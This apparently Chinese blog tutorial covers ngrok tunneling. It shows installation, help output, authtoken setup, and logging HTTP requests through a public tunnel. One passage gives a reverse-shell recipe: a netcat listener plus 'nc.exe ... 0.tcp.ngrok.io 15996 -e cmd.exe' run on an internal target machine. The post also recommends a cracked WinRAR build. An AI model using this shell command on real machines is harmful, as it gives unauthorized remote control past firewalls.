ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

小咪咪 2022-06-08 10:46 137阅读 0赞

双方都是内网的反弹shell工具。

Ngrok的下载地址:[https://ngrok.com/download![14708873291139.jpg_small][]][https_ngrok.com_download_14708873291139.jpg_small]

如果你是MAC OS X或者linux可以按照以下步骤安装。

$ unzip /path/to/ngrok.zip

![14708874311485.jpg_small][]

然后查看他支持的命令

$ ./ngrokhelp

如果你是 windows下可以按照以下步骤安装

![1470887336697.jpg_small][]

下载下了后选中文件，右键解压到当前文件夹。

什么，你右键菜单没有这个选项。

那么请安装《winrar烈火汉化破解版》。

然后有个窗口一闪而过。

之后会出现这个:

![14708873442437.jpg_small][]

然后按下 微软徽标键+R (PS：微软徽标键就是 在你的键盘上Ctrl和Alt中间的那个键。)

输入cmd然后回车。

![14708873649388.jpg_small][]

打开cmd后，将刚才解压出来的ngrok.exe拖入。

然后再输入help 回车。

![14708874437864.jpg_small][]

可以看到它支持很多命令。

NAME:
      ngrok - tunnel local ports to public URLs and inspect traffic
    
    DESCRIPTION:
       ngrok exposes local networked services behinds NATs and firewalls to the
       public internet over a secure tunnel. Share local websites, build/test
       webhook consumers and self-host personal services.
       Detailed help for each command is available with 'ngrok help<command>'.
       Open http://localhost:4040 for ngrok's web interface to inspect traffic.
    
    EXAMPLES:
       ngrok http 80                    #secure public URL for port 80 web server
       ngrok http -subdomain=baz 8080   #port 8080 available at baz.ngrok.io
       ngrok http foo.dev:80            #tunnel to host:port instead of localhost
       ngrok tcp 22                     #tunnel arbitrary TCP traffic to port 22
       ngrok tls -hostname=foo.com 443  #TLS traffic for foo.com to port 443
       ngrok start foo bar baz          #start tunnels from the configuration file
    
    VERSION:
      2.1.3
    
    AUTHOR:
     inconshreveable - <alan@ngrok.com>
    
    COMMANDS:
      authtoken    save authtoken toconfiguration file
      credits      prints author andlicensing information
      http         start an HTTP tunnel
      start        start tunnels by namefrom the configuration file
      tcp          start a TCP tunnel
      tls          start a TLS tunnel
      update       update ngrok to thelatest version
      version      print the versionstring
      help         Shows a list ofcommands or help for one command

使用前先要去注册个账号，

地址:[https://dashboard.ngrok.com/user/login][https_dashboard.ngrok.com_user_login]

不要告诉我你不会注册账号

![1470887453485.jpg_small][]

先执行认证。

Windows图:

![14708874811332.jpg_small][]

会提示你Authtoken saved toconfiguration file:认证文件存到哪里。

Linux图:

![14708876128420.jpg_small][]

(PS：Authtoken懒得打码了，请不要搞事)

认证Token导入好后，开始讲内网穿透的部分。

./ngrok tcp 9999 \*\*获得一个公网地址，如下图。

![1470887618394.jpg_small][]

ngrok 是不能后台运行的，所以我们要借助screen（用法百度）实现后台运行。

然后再nc -vv -l -p 9999

然后目标机器(内网的windos笔记本)执行

nc.exe -vv 0.tcp.ngrok.io 15996 -e c:\Windows\System32\cmd.exe

0. tcp.ngrok.io 15996 为刚才利用ngrok 得到的公网地址，如下图![14708876558305.jpg_small][]

然后就反弹回来shell。(PS：由于作者手中没有内网的服务器所以没截图)

下面讲内网机器做HTTP请求记录器:

只需要执行ngrok.exe http 80就可以了。![14708876678979.jpg_small][]

会发现Tunnel Status online时

Forwarding                    http://771c988f.ngrok.io -> localhost:80

Forwarding                    https://771c988f.ngrok.io -> localhost:80

访问后会有记录。

![14708876839412.jpg_small][]

[http://localhost:4040][http_localhost_4040]是在线控制台，可以看请求的详细信息。

![1470887702941.jpg_small][]

如果你在80端口搭建了HTTP服务器，那么他就不是显示这个页面:

![14708877163766.jpg_small][]

而是将流量转发到HTTP服务上，访问的是自己内网的HTTP页面。

[14708873291139.jpg_small]: /images/20220608/93e40b0f4a3045f4ba7adb97f9089cf5.png
[https_ngrok.com_download_14708873291139.jpg_small]: https://ngrok.com/download
[14708874311485.jpg_small]: /images/20220608/10475e7a45524bb18612c9c3b37225e4.png
[1470887336697.jpg_small]: /images/20220608/fcbb072f01b64224842fff7630fdc156.png
[14708873442437.jpg_small]: /images/20220608/69f2a3ab041440abb154415b30bb445a.png
[14708873649388.jpg_small]: /images/20220608/93f95ac020dc450a95fe7d79cdf17fa7.png
[14708874437864.jpg_small]: /images/20220608/b50c282d997b4f699f74369247f1aeba.png
[https_dashboard.ngrok.com_user_login]: https://dashboard.ngrok.com/user/login
[1470887453485.jpg_small]: /images/20220608/d4a54fa538da484a98a3c349ec1a062c.png
[14708874811332.jpg_small]: /images/20220608/df8bf82503b949dab5146a774da98cb2.png
[14708876128420.jpg_small]: /images/20220608/914bd7d2d1c040e98abe488152e33ba6.png
[1470887618394.jpg_small]: /images/20220608/f85c56a4b9ed4ef4860119e848f36e55.png
[14708876558305.jpg_small]: /images/20220608/4ede3c07e8f04a81913f06a751f4af13.png
[14708876678979.jpg_small]: /images/20220608/d77cbcfa85e24006857ed5f8dda1fa99.png
[14708876839412.jpg_small]: /images/20220608/cebb71eb749d4b34833c65867d6e0111.png
[http_localhost_4040]: http://localhost:4040/
[1470887702941.jpg_small]: /images/20220608/dcbda8ea9071435d975caac3b9e0fa56.png
[14708877163766.jpg_small]: /images/20220608/7cbb702be9824706880d0bf7f1a47e37.png